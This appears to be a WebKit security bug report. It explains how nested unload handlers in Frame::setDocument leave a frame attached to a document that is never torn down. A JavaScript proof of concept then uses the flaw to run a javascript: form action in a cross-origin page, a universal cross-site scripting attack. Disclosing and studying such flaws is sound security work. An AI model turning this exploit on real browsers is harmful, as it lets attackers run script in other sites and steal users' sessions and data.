Here's a snippet of Frame::setDocument.

void Frame::setDocument(RefPtr<Document>&& newDocument)
{
    ASSERT(!newDocument || newDocument->frame() == this);

    if (m_doc && m_doc->pageCacheState() != Document::InPageCache)
        m_doc->prepareForDestruction();

    m_doc = newDocument.copyRef();
    ...
}

Before setting |m_doc| to |newDocument|, it calls |prepareForDestruction| that fires unload event handlers. If we call |Frame::setDocument| with the new document |a|, and call |Frame::setDocument| again with the new document |b| in the unload event handler. Then |prepareForDestruction| will be never called on |b|, which means the frame will be never detached from |b|.

-->

"use strict";

let f = document.documentElement.appendChild(document.createElement("iframe"));
let a = f.contentDocument.documentElement.appendChild(document.createElement("iframe"));

a.contentWindow.onunload = () => {
    f.src = "javascript:''";

    let b = f.contentDocument.appendChild(document.createElement("iframe"));
    b.contentWindow.onunload = () => {
        f.src = "javascript:''";

        let doc = f.contentDocument;

        f.onload = () => {
            f.onload = () => {
                f.onload = null;

                let s = doc.createElement("form");
                s.action = "javascript:alert(location)";
                s.submit();
            };

            f.src = "https://abc.xyz/";
        };

    };
};

f.src = "javascript:''";
